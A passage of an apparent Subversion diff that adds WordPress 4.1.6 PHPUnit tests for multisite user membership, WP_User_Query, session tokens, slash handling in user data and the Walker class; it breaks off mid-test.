+ */
+class Tests_Multisite_User extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		$_SERVER[ 'REMOTE_ADDR' ] = '';
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	function test_remove_user_from_blog() {
+		$user1 = $this->factory->user->create_and_get();
+		$user2 = $this->factory->user->create_and_get();
+
+		$post_id = $this->factory->post->create( array( 'post_author' => $user1->ID ) );
+
+		remove_user_from_blog( $user1->ID, 1, $user2->ID );
+
+		$post = get_post( $post_id );
+
+		$this->assertNotEquals( $user1->ID, $post->post_author );
+		$this->assertEquals( $user2->ID, $post->post_author );
+	}
+
+	/**
+	 * Test the returned data from get_blogs_of_user()
+	 */
+	function test_get_blogs_of_user() {
+		$user1_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+
+		// Maintain a list of 6 total sites and include the primary network site.
+		$blog_ids = $this->factory->blog->create_many( 5, array( 'user_id' => $user1_id ) );
+		$blog_ids = array_merge( array( 1 ), $blog_ids );
+
+		// All sites are new and not marked as spam, archived, or deleted.
+		$blog_ids_of_user = array_keys( get_blogs_of_user( $user1_id ) );
+
+		// User should be a member of the created sites and the network's initial site.
+		$this->assertEquals( $blog_ids, $blog_ids_of_user );
+
+		$this->assertTrue( remove_user_from_blog( $user1_id, $blog_ids[0] ) );
+		$this->assertTrue( remove_user_from_blog( $user1_id, $blog_ids[2] ) );
+		$this->assertTrue( remove_user_from_blog( $user1_id, $blog_ids[4] ) );
+
+		unset( $blog_ids[0] );
+		unset( $blog_ids[2] );
+		unset( $blog_ids[4] );
+		sort( $blog_ids );
+
+		$blogs_of_user = get_blogs_of_user( $user1_id, false );
+
+		// The user should still be a member of all remaining sites.
+		$blog_ids_of_user = array_keys( $blogs_of_user );
+		$this->assertEquals( $blog_ids, $blog_ids_of_user );
+
+		// Each site retrieved should match the expected structure.
+		foreach ( $blogs_of_user as $blog_id => $blog ) {
+			$this->assertEquals( $blog_id, $blog->userblog_id );
+			$this->assertTrue( isset( $blog->userblog_id ) );
+			$this->assertTrue( isset( $blog->blogname ) );
+			$this->assertTrue( isset( $blog->domain ) );
+			$this->assertTrue( isset( $blog->path ) );
+			$this->assertTrue( isset( $blog->site_id ) );
+			$this->assertTrue( isset( $blog->siteurl ) );
+			$this->assertTrue( isset( $blog->archived ) );
+			$this->assertTrue( isset( $blog->spam ) );
+			$this->assertTrue( isset( $blog->deleted ) );
+		}
+
+		// Mark each remaining site as spam, archived, and deleted.
+		update_blog_details( $blog_ids[0], array( 'spam' => 1 ) );
+		update_blog_details( $blog_ids[1], array( 'archived' => 1 ) );
+		update_blog_details( $blog_ids[2], array( 'deleted' => 1 ) );
+
+		// Passing true as the second parameter should retrieve ALL sites, even if marked.
+		$blog_ids_of_user = array_keys( get_blogs_of_user( $user1_id, true ) );
+		$this->assertEquals( $blog_ids, $blog_ids_of_user );
+
+		unset( $blog_ids[0] );
+		unset( $blog_ids[1] );
+		unset( $blog_ids[2] );
+		sort( $blog_ids );
+
+		// Passing false (the default) as the second parameter should retrieve only good sites.
+		$blog_ids_of_user = array_keys( get_blogs_of_user( $user1_id, false ) );
+		$this->assertEquals( $blog_ids, $blog_ids_of_user );
+	}
+
+	/**
+	 * @expectedDeprecated is_blog_user
+	 */
+	function test_is_blog_user() {
+		global $wpdb;
+
+		$user1_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+
+		$old_current = get_current_user_id();
+		wp_set_current_user( $user1_id );
+
+		$this->assertTrue( is_blog_user() );
+		$this->assertTrue( is_blog_user( $wpdb->blogid ) );
+
+		$blog_ids = array();
+
+		$blog_ids = $this->factory->blog->create_many( 5 );
+		foreach ( $blog_ids as $blog_id ) {
+			$this->assertInternalType( 'int', $blog_id );
+			$this->assertTrue( is_blog_user( $blog_id ) );
+			$this->assertTrue( remove_user_from_blog( $user1_id, $blog_id ) );
+			$this->assertFalse( is_blog_user( $blog_id ) );
+		}
+
+		wp_set_current_user( $old_current );
+	}
+
+	function test_is_user_member_of_blog() {
+		global $wpdb;
+
+		$user1_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+
+		$old_current = get_current_user_id();
+		wp_set_current_user( $user1_id );
+
+		$this->assertTrue( is_user_member_of_blog() );
+		$this->assertTrue( is_user_member_of_blog( 0, 0 ) );
+		$this->assertTrue( is_user_member_of_blog( 0, $wpdb->blogid ) );
+		$this->assertTrue( is_user_member_of_blog( $user1_id ) );
+		$this->assertTrue( is_user_member_of_blog( $user1_id, $wpdb->blogid ) );
+
+		$blog_ids = $this->factory->blog->create_many( 5 );
+		foreach ( $blog_ids as $blog_id ) {
+			$this->assertInternalType( 'int', $blog_id );
+			$this->assertTrue( is_user_member_of_blog( $user1_id, $blog_id ) );
+			$this->assertTrue( remove_user_from_blog( $user1_id, $blog_id ) );
+			$this->assertFalse( is_user_member_of_blog( $user1_id, $blog_id ) );
+		}
+
+		wpmu_delete_user( $user1_id );
+		$user = new WP_User( $user1_id );
+		$this->assertFalse( $user->exists(), 'WP_User->exists' );
+		$this->assertFalse( is_user_member_of_blog( $user1_id ), 'is_user_member_of_blog' );
+
+		wp_set_current_user( $old_current );
+	}
+
+	/**
+	 * @ticket 23192
+	 */
+	function test_is_user_spammy() {
+		$user_id = $this->factory->user->create( array(
+			'role' => 'author',
+			'user_login' => 'testuser1',
+		) );
+
+		$spam_username = (string) $user_id;
+		$spam_user_id = $this->factory->user->create( array(
+			'role' => 'author',
+			'user_login' => $spam_username,
+		) );
+		update_user_status( $spam_user_id, 'spam', '1' );
+
+		$this->assertTrue( is_user_spammy( $spam_username ) );
+		$this->assertFalse( is_user_spammy( 'testuser1' ) );
+	}
+
+	/**
+	 * @ticket 20601
+	 */
+	function test_user_member_of_blog() {
+		global $wp_rewrite;
+
+		$this->factory->blog->create();
+		$user_id = $this->factory->user->create();
+		$this->factory->blog->create( array( 'user_id' => $user_id ) );
+
+		$blogs = get_blogs_of_user( $user_id );
+		$this->assertCount( 2, $blogs );
+		$first = reset( $blogs )->userblog_id;
+		remove_user_from_blog( $user_id, $first );
+
+		$blogs = get_blogs_of_user( $user_id );
+		$second = reset( $blogs )->userblog_id;
+		$this->assertCount( 1, $blogs );
+
+		switch_to_blog( $first );
+		$wp_rewrite->init();
+
+		$this->go_to( get_author_posts_url( $user_id ) );
+		$this->assertQueryTrue( 'is_404' );
+
+		switch_to_blog( $second );
+		$wp_rewrite->init();
+
+		$this->go_to( get_author_posts_url( $user_id ) );
+		$this->assertQueryTrue( 'is_author', 'is_archive' );
+
+		add_user_to_blog( $first, $user_id, 'administrator' );
+		$blogs = get_blogs_of_user( $user_id );
+		$this->assertCount( 2, $blogs );
+
+		switch_to_blog( $first );
+		$wp_rewrite->init();
+
+		$this->go_to( get_author_posts_url( $user_id ) );
+		$this->assertQueryTrue( 'is_author', 'is_archive' );
+	}
+
+	/**
+	 * @ticket 27205
+	 */
+	function test_granting_super_admins() {
+		if ( isset( $GLOBALS['super_admins'] ) ) {
+			$old_global = $GLOBALS['super_admins'];
+			unset( $GLOBALS['super_admins'] );
+		}
+
+		$user_id = $this->factory->user->create();
+
+		$this->assertFalse( is_super_admin( $user_id ) );
+		$this->assertFalse( revoke_super_admin( $user_id ) );
+		$this->assertTrue( grant_super_admin( $user_id ) );
+		$this->assertTrue( is_super_admin( $user_id ) );
+		$this->assertFalse( grant_super_admin( $user_id ) );
+		$this->assertTrue( revoke_super_admin( $user_id ) );
+
+		// None of these operations should set the $super_admins global.
+		$this->assertFalse( isset( $GLOBALS['super_admins'] ) );
+
+		// Try with two users.
+		$second_user = $this->factory->user->create();
+		$this->assertTrue( grant_super_admin( $user_id ) );
+		$this->assertTrue( grant_super_admin( $second_user ) );
+		$this->assertTrue( is_super_admin( $second_user ) );
+		$this->assertTrue( is_super_admin( $user_id ) );
+		$this->assertTrue( revoke_super_admin( $user_id ) );
+		$this->assertTrue( revoke_super_admin( $second_user ) );
+
+		if ( isset( $old_global ) ) {
+			$GLOBALS['super_admins'] = $old_global;
+		}
+	}
+
+}
+
+endif ;
Index: /tags/4.1.6/tests/phpunit/tests/user/query.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/query.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/query.php	(revision 33402)
@@ -0,0 +1,253 @@
+<?php
+/**
+ * Test WP_User Query, in wp-includes/user.php
+ *
+ * @group user
+ */
+class Tests_User_Query extends WP_UnitTestCase {
+
+	protected $user_id;
+
+	function setUp() {
+		parent::setUp();
+	}
+
+	function test_get_and_set() {
+		$users = new WP_User_Query();
+
+		$this->assertEquals( '', $users->get( 'fields' ) );
+		$this->assertEquals( '', @$users->query_vars['fields'] );
+
+		$users->set( 'fields', 'all' );
+
+		$this->assertEquals( 'all', $users->get( 'fields' ) );
+		$this->assertEquals( 'all', $users->query_vars['fields'] );
+
+		$users->set( 'fields', '' );
+		$this->assertEquals( '', $users->get( 'fields' ) );
+		$this->assertEquals( '', $users->query_vars['fields'] );
+
+		$this->assertNull( $users->get( 'does-not-exist' ) );
+	}
+
+	public function test_include_single() {
+		$users = $this->factory->user->create_many( 2 );
+		$q = new WP_User_Query( array(
+			'fields' => '',
+			'include' => $users[0],
+		) );
+		$ids = $q->get_results();
+
+		$this->assertEquals( array( $users[0] ), $ids );
+	}
+
+	public function test_include_comma_separated() {
+		$users = $this->factory->user->create_many( 3 );
+		$q = new WP_User_Query( array(
+			'fields' => '',
+			'include' => $users[0] . ', ' . $users[2],
+		) );
+		$ids = $q->get_results();
+
+		$this->assertEqualSets( array( $users[0], $users[2] ), $ids );
+	}
+
+	public function test_include_array() {
+		$users = $this->factory->user->create_many( 3 );
+		$q = new WP_User_Query( array(
+			'fields' => '',
+			'include' => array( $users[0], $users[2] ),
+		) );
+		$ids = $q->get_results();
+
+		$this->assertEqualSets( array( $users[0], $users[2] ), $ids );
+	}
+
+	public function test_include_array_bad_values() {
+		$users = $this->factory->user->create_many( 3 );
+		$q = new WP_User_Query( array(
+			'fields' => '',
+			'include' => array( $users[0], 'foo', $users[2] ),
+		) );
+		$ids = $q->get_results();
+
+		$this->assertEqualSets( array( $users[0], $users[2] ), $ids );
+	}
+
+	public function test_exclude() {
+		$users = $this->factory->user->create_many( 3, array(
+			'role' => 'author',
+		) );
+
+		$q = new WP_User_Query( array(
+			'fields' => '',
+			'exclude' => $users[1],
+		) );
+
+		$ids = $q->get_results();
+
+		// Indirect test in order to ignore default user created during installation.
+		$this->assertNotEmpty( $ids );
+		$this->assertNotContains( $users[1], $ids );
+	}
+
+	public function test_get_all() {
+		$this->factory->user->create_many( 3, array(
+			'role' => 'author'
+		) );
+
+		$users = new WP_User_Query( array( 'blog_id' => get_current_blog_id() ) );
+		$users = $users->get_results();
+
+		// +1 for the default user created during installation.
+		$this->assertEquals( 4, count( $users ) );
+		foreach ( $users as $user ) {
+			$this->assertInstanceOf( 'WP_User', $user );
+		}
+
+		$users = new WP_User_Query( array( 'blog_id' => get_current_blog_id(), 'fields' => 'all_with_meta' ) );
+		$users = $users->get_results();
+		$this->assertEquals( 4, count( $users ) );
+		foreach ( $users as $user ) {
+			$this->assertInstanceOf( 'WP_User', $user );
+		}
+	}
+
+	public function test_orderby_meta_value() {
+		$users = $this->factory->user->create_many( 3, array(
+			'role' => 'author'
+		) );
+
+		update_user_meta( $users[0], 'last_name', 'Jones' );
+		update_user_meta( $users[1], 'last_name', 'Albert' );
+		update_user_meta( $users[2], 'last_name', 'Zorro' );
+
+		$q = new WP_User_Query( array(
+			'include' => $users,
+			'meta_key' => 'last_name',
+			'orderby' => 'meta_value',
+			'fields' => 'ids'
+		) );
+
+		$expected = array( $users[1], $users[0], $users[2] );
+
+		$this->assertEquals( $expected, $q->get_results() );
+	}
+
+	/**
+	 * @ticket 30064
+	 */
+	public function test_orderby_include_with_empty_include() {
+		$q = new WP_User_Query( array(
+			'orderby' => 'include',
+		) );
+
+		$this->assertContains( 'ORDER BY user_login', $q->query_orderby );
+	}
+
+	/**
+	 * @ticket 30064
+	 */
+	public function test_orderby_include() {
+		global $wpdb;
+
+		$users = $this->factory->user->create_many( 4 );
+		$q = new WP_User_Query( array(
+			'orderby' => 'include',
+			'include' => array( $users[1], $users[0], $users[3] ),
+			'fields' => '',
+		) );
+
+		$expected_orderby = 'ORDER BY FIELD( ' . $wpdb->users . '.ID, ' . $users[1] . ',' . $users[0] . ',' . $users[3] . ' )';
+		$this->assertContains( $expected_orderby, $q->query_orderby );
+
+		// assertEquals() respects order but ignores type (get_results() returns numeric strings).
+		$this->assertEquals( array( $users[1], $users[0], $users[3] ), $q->get_results() );
+	}
+
+	/**
+	 * @ticket 30064
+	 */
+	public function test_orderby_include_duplicate_values() {
+		global $wpdb;
+
+		$users = $this->factory->user->create_many( 4 );
+		$q = new WP_User_Query( array(
+			'orderby' => 'include',
+			'include' => array( $users[1], $users[0], $users[1], $users[3] ),
+			'fields' => '',
+		) );
+
+		$expected_orderby = 'ORDER BY FIELD( ' . $wpdb->users . '.ID, ' . $users[1] . ',' . $users[0] . ',' . $users[3] . ' )';
+		$this->assertContains( $expected_orderby, $q->query_orderby );
+
+		// assertEquals() respects order but ignores type (get_results() returns numeric strings).
+		$this->assertEquals( array( $users[1], $users[0], $users[3] ), $q->get_results() );
+	}
+
+	/**
+	 * @ticket 21119
+	 */
+	function test_prepare_query() {
+		$query = new WP_User_Query();
+		$this->assertEmpty( $query->query_fields );
+		$this->assertEmpty( $query->query_from );
+		$this->assertEmpty( $query->query_limit );
+		$this->assertEmpty( $query->query_orderby );
+		$this->assertEmpty( $query->query_where );
+		$this->assertEmpty( $query->query_vars );
+		$_query_vars = $query->query_vars;
+
+		$query->prepare_query();
+		$this->assertNotEmpty( $query->query_fields );
+		$this->assertNotEmpty( $query->query_from );
+		$this->assertEmpty( $query->query_limit );
+		$this->assertNotEmpty( $query->query_orderby );
+		$this->assertNotEmpty( $query->query_where );
+		$this->assertNotEmpty( $query->query_vars );
+		$this->assertNotEquals( $_query_vars, $query->query_vars );
+
+		// All values get reset
+		$query->prepare_query( array( 'number' => 8 ) );
+		$this->assertNotEmpty( $query->query_limit );
+		$this->assertEquals( 'LIMIT 8', $query->query_limit );
+
+		// All values get reset
+		$query->prepare_query( array( 'fields' => 'all' ) );
+		$this->assertEmpty( $query->query_limit );
+		$this->assertEquals( '', $query->query_limit );
+		$_query_vars = $query->query_vars;
+
+		$query->prepare_query();
+		$this->assertEquals( $_query_vars, $query->query_vars );
+	}
+
+	/**
+	 * @ticket 23849
+	 */
+	function test_meta_query_with_role() {
+		$author_ids = $this->factory->user->create_many( 4, array( 'role' => 'author' ) );
+
+		add_user_meta( $author_ids[0], 'foo', 'bar' );
+		add_user_meta( $author_ids[1], 'foo', 'baz' );
+
+		// Users with foo = bar or baz restricted to the author role.
+		$query = new WP_User_Query( array(
+			'fields' => '',
+			'role' => 'author',
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo',
+					'value' => 'baz',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $author_ids[0], $author_ids[1] ), $query->get_results() );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/user/session.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/session.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/session.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * Test WP_Session_Tokens and WP_User_Meta_Session_Tokens, in wp-includes/session.php
+ *
+ * @group user
+ * @group session
+ */
+class Tests_User_Session extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		remove_all_filters( 'session_token_manager' );
+		$user_id = $this->factory->user->create();
+		$this->manager = WP_Session_Tokens::get_instance( $user_id );
+		$this->assertInstanceOf( 'WP_Session_Tokens', $this->manager );
+		$this->assertInstanceOf( 'WP_User_Meta_Session_Tokens', $this->manager );
+	}
+
+	function test_verify_and_destroy_token() {
+		$expiration = time() + DAY_IN_SECONDS;
+		$token = $this->manager->create( $expiration );
+		$this->assertFalse( $this->manager->verify( 'foo' ) );
+		$this->assertTrue( $this->manager->verify( $token ) );
+		$this->manager->destroy( $token );
+		$this->assertFalse( $this->manager->verify( $token ) );
+	}
+
+	function test_destroy_other_tokens() {
+		$expiration = time() + DAY_IN_SECONDS;
+		$token_1 = $this->manager->create( $expiration );
+		$token_2 = $this->manager->create( $expiration );
+		$token_3 = $this->manager->create( $expiration );
+		$this->assertTrue( $this->manager->verify( $token_1 ) );
+		$this->assertTrue( $this->manager->verify( $token_2 ) );
+		$this->assertTrue( $this->manager->verify( $token_3 ) );
+		$this->manager->destroy_others( $token_2 );
+		$this->assertFalse( $this->manager->verify( $token_1 ) );
+		$this->assertTrue( $this->manager->verify( $token_2 ) );
+		$this->assertFalse( $this->manager->verify( $token_3 ) );
+	}
+
+	function test_destroy_all_tokens() {
+		$expiration = time() + DAY_IN_SECONDS;
+		$token_1 = $this->manager->create( $expiration );
+		$token_2 = $this->manager->create( $expiration );
+		$this->assertTrue( $this->manager->verify( $token_1 ) );
+		$this->assertTrue( $this->manager->verify( $token_2 ) );
+		$this->manager->destroy_all();
+		$this->assertFalse( $this->manager->verify( $token_1 ) );
+		$this->assertFalse( $this->manager->verify( $token_2 ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/user/slashes.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/slashes.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/slashes.php	(revision 33402)
@@ -0,0 +1,212 @@
+<?php
+
+/**
+ * @group user
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_User_Slashes extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->author_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		$this->old_current_user = get_current_user_id();
+		wp_set_current_user( $this->author_id );
+
+		// it is important to test with both even and odd numbered slashes as
+		// kses does a strip-then-add slashes in some of it's function calls
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	function tearDown() {
+		wp_set_current_user( $this->old_current_user );
+		parent::tearDown();
+	}
+
+	/**
+	 * Tests the controller function that expects slashed data
+	 *
+	 */
+	function test_add_user() {
+		$_POST = $_GET = $_REQUEST = array();
+		$_POST['user_login'] = 'slash_example_user_1';
+		$_POST['pass1'] = 'password';
+		$_POST['pass2'] = 'password';
+		$_POST['role'] = 'subscriber';
+		$_POST['email'] = 'user1@example.com';
+		$_POST['first_name'] = $this->slash_1;
+		$_POST['last_name'] = $this->slash_3;
+		$_POST['nickname'] = $this->slash_5;
+		$_POST['display_name'] = $this->slash_7;
+		$_POST['description'] = $this->slash_3;
+		$_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+		$id = add_user();
+		$user = get_user_to_edit( $id );
+
+		$this->assertEquals( $this->slash_1, $user->first_name );
+		$this->assertEquals( $this->slash_3, $user->last_name );
+		$this->assertEquals( $this->slash_5, $user->nickname );
+		$this->assertEquals( $this->slash_7, $user->display_name );
+		$this->assertEquals( $this->slash_3, $user->description );
+
+		$_POST = $_GET = $_REQUEST = array();
+		$_POST['user_login'] = 'slash_example_user_2';
+		$_POST['pass1'] = 'password';
+		$_POST['pass2'] = 'password';
+		$_POST['role'] = 'subscriber';
+		$_POST['email'] = 'user2@example.com';
+		$_POST['first_name'] = $this->slash_2;
+		$_POST['last_name'] = $this->slash_4;
+		$_POST['nickname'] = $this->slash_6;
+		$_POST['display_name'] = $this->slash_2;
+		$_POST['description'] = $this->slash_4;
+		$_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+		$id = add_user();
+		$user = get_user_to_edit( $id );
+
+		$this->assertEquals( $this->slash_2, $user->first_name );
+		$this->assertEquals( $this->slash_4, $user->last_name );
+		$this->assertEquals( $this->slash_6, $user->nickname );
+		$this->assertEquals( $this->slash_2, $user->display_name );
+		$this->assertEquals( $this->slash_4, $user->description );
+	}
+
+	/**
+	 * Tests the controller function that expects slashed data
+	 *
+	 */
+	function test_edit_user() {
+		$id = $this->factory->user->create();
+
+		$_POST = $_GET = $_REQUEST = array();
+		$_POST['role'] = 'subscriber';
+		$_POST['email'] = 'user1@example.com';
+		$_POST['first_name'] = $this->slash_1;
+		$_POST['last_name'] = $this->slash_3;
+		$_POST['nickname'] = $this->slash_5;
+		$_POST['display_name'] = $this->slash_7;
+		$_POST['description'] = $this->slash_3;
+		$_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+		$id = edit_user( $id );
+		$user = get_user_to_edit( $id );
+
+		$this->assertEquals( $this->slash_1, $user->first_name );
+		$this->assertEquals( $this->slash_3, $user->last_name );
+		$this->assertEquals( $this->slash_5, $user->nickname );
+		$this->assertEquals( $this->slash_7, $user->display_name );
+		$this->assertEquals( $this->slash_3, $user->description );
+
+		$_POST = $_GET = $_REQUEST = array();
+		$_POST['role'] = 'subscriber';
+		$_POST['email'] = 'user2@example.com';
+		$_POST['first_name'] = $this->slash_2;
+		$_POST['last_name'] = $this->slash_4;
+		$_POST['nickname'] = $this->slash_6;
+		$_POST['display_name'] = $this->slash_2;
+		$_POST['description'] = $this->slash_4;
+		$_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+		$id = edit_user( $id );
+		$user = get_user_to_edit( $id );
+
+		$this->assertEquals( $this->slash_2, $user->first_name );
+		$this->assertEquals( $this->slash_4, $user->last_name );
+		$this->assertEquals( $this->slash_6, $user->nickname );
+		$this->assertEquals( $this->slash_2, $user->display_name );
+		$this->assertEquals( $this->slash_4, $user->description );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_insert_user() {
+		$id = wp_insert_user( array(
+			'user_login' => 'slash_example_user_3',
+			'role' => 'subscriber',
+			'email' => 'user3@example.com',
+			'first_name' => $this->slash_1,
+			'last_name' => $this->slash_3,
+			'nickname' => $this->slash_5,
+			'display_name' => $this->slash_7,
+			'description' => $this->slash_3,
+			'user_pass' => ''
+		) );
+		$user = get_user_to_edit( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $user->first_name );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), $user->last_name );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), $user->nickname );
+		$this->assertEquals( wp_unslash( $this->slash_7 ), $user->display_name );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), $user->description );
+
+		$id = wp_insert_user( array(
+			'user_login' => 'slash_example_user_4',
+			'role' => 'subscriber',
+			'email' => 'user3@example.com',
+			'first_name' => $this->slash_2,
+			'last_name' => $this->slash_4,
+			'nickname' => $this->slash_6,
+			'display_name' => $this->slash_2,
+			'description' => $this->slash_4,
+			'user_pass' => ''
+		) );
+		$user = get_user_to_edit( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $user->first_name );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $user->last_name );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), $user->nickname );
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $user->display_name );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $user->description );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_update_user() {
+		$id = $this->factory->user->create();
+		$id = wp_update_user(array(
+			'ID' => $id,
+			'role' => 'subscriber',
+			'first_name' => $this->slash_1,
+			'last_name' => $this->slash_3,
+			'nickname' => $this->slash_5,
+			'display_name' => $this->slash_7,
+			'description' => $this->slash_3,
+		));
+		$user = get_user_to_edit( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $user->first_name );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), $user->last_name );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), $user->nickname );
+		$this->assertEquals( wp_unslash( $this->slash_7 ), $user->display_name );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), $user->description );
+
+		$id = wp_update_user(array(
+			'ID' => $id,
+			'role' => 'subscriber',
+			'first_name' => $this->slash_2,
+			'last_name' => $this->slash_4,
+			'nickname' => $this->slash_6,
+			'display_name' => $this->slash_2,
+			'description' => $this->slash_4,
+		));
+		$user = get_user_to_edit( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $user->first_name );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $user->last_name );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), $user->nickname );
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $user->display_name );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $user->description );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/walker.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/walker.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/walker.php	(revision 33402)
@@ -0,0 +1,199 @@
+<?php
+
+/**
+ * @group post
+ * @group navmenus
+ * @group taxonomy
+ * @group walker
+ */
+class Tests_Walker extends WP_UnitTestCase {
+
+	function setUp() {
+
+		$this->walker = new Walker_Test();
+
+		parent::setUp();
+
+	}
+
+	function test_single_item() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 0 ) );
+		$output = $this->walker->walk( $items, 0 );
+
+		$this->assertEquals( 1, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1</li>', $output );
+
+	}
+
+	function test_single_item_flat() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 0 ) );
+		$output = $this->walker->walk( $items, -1 );
+
+		$this->assertEquals( 1, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1</li>', $output );
+
+	}
+
+	function test_single_item_depth_1() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 0 ) );
+		$output = $this->walker->walk( $items, 1 );
+
+		$this->assertEquals( 1, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1</li>', $output );
+
+	}
+
+	function test_multiple_items_single_level() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 0 ), (object) array( 'id' => 2, 'parent' => 0 ) );
+
+		$output = $this->walker->walk( $items, 0 );
+
+		$this->assertEquals( 2, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1</li><li>2</li>', $output );
+
+	}
+
+	function test_multiple_items_multiple_levels() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 0 ), (object) array( 'id' => 2, 'parent' => 1 ) );
+
+		$output = $this->walker->walk( $items, 0 );
+
+		$this->assertEquals( 1, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1<ul><li>2</li></ul></li>', $output );
+
+	}
+
+	function test_multiple_items_multiple_levels_flat() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 0 ), (object) array( 'id' => 2, 'parent' => 1 ) );
+
+		$output = $this->walker->walk( $items, -1 );
+
+		$this->assertEquals( 1, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1</li><li>2</li>', $output );
+
+	}
+
+	function test_multiple_items_multiple_levels_depth_1() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 0 ), (object) array( 'id' => 2, 'parent' => 1 ) );
+
+		$output = $this->walker->walk( $items, 1 );
+
+		$this->assertEquals( 1, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1</li>', $output );
+
+	}
+
+	function test_multiple_items_multiple_levels_depth_2() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 0 ), (object) array( 'id' => 2, 'parent' => 1 ), (object) array( 'id' => 3, 'parent' => 2 ) );
+
+		$output = $this->walker->walk( $items, 2 );
+
+		$this->assertEquals( 1, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1<ul><li>2</li></ul></li>', $output );
+
+	}
+
+	function test_multiple_items_recursive() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 2 ), (object) array( 'id' => 2, 'parent' => 1 ) );
+
+		$output = $this->walker->walk( $items, 0 );
+
+		$this->assertEquals( 0, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1<ul><li>2</li></ul></li>', $output );
+
+	}
+
+	function test_single_item_child() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 3 ) );
+
+		$output = $this->walker->walk( $items, 0 );
+
+		$this->assertEquals( 0, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>1</li>', $output );
+
+	}
+
+	function test_single_item_missing_parent_depth_1() {
+
+		$items = array( (object) array( 'id' => 1, 'parent' => 3 ) );
+
+		$output = $this->walker->walk( $items, 1 );
+
+		$this->assertEquals( 0, $this->walker->get_number_of_root_elements( $items ) );
+
+		// It's not clear what the output of this "should" be
+
+		// Currently the item is simply returned
+		$this->assertEquals( '<li>1</li>', $output );
+
+		// But as we've only asked for the first depth maybe nothing should be returned?
+		//$this->assertEquals( '', $output );
+
+	}
+
+	function test_multiple_items_missing_parents() {
+
+		$items = array( (object) array( 'id' => 4, 'parent' => 1 ), (object) array( 'id' => 5, 'parent' => 2 ), (object) array( 'id' => 6, 'parent' => 3 ) );
+
+		$output = $this->walker->walk( $items, 0 );
+
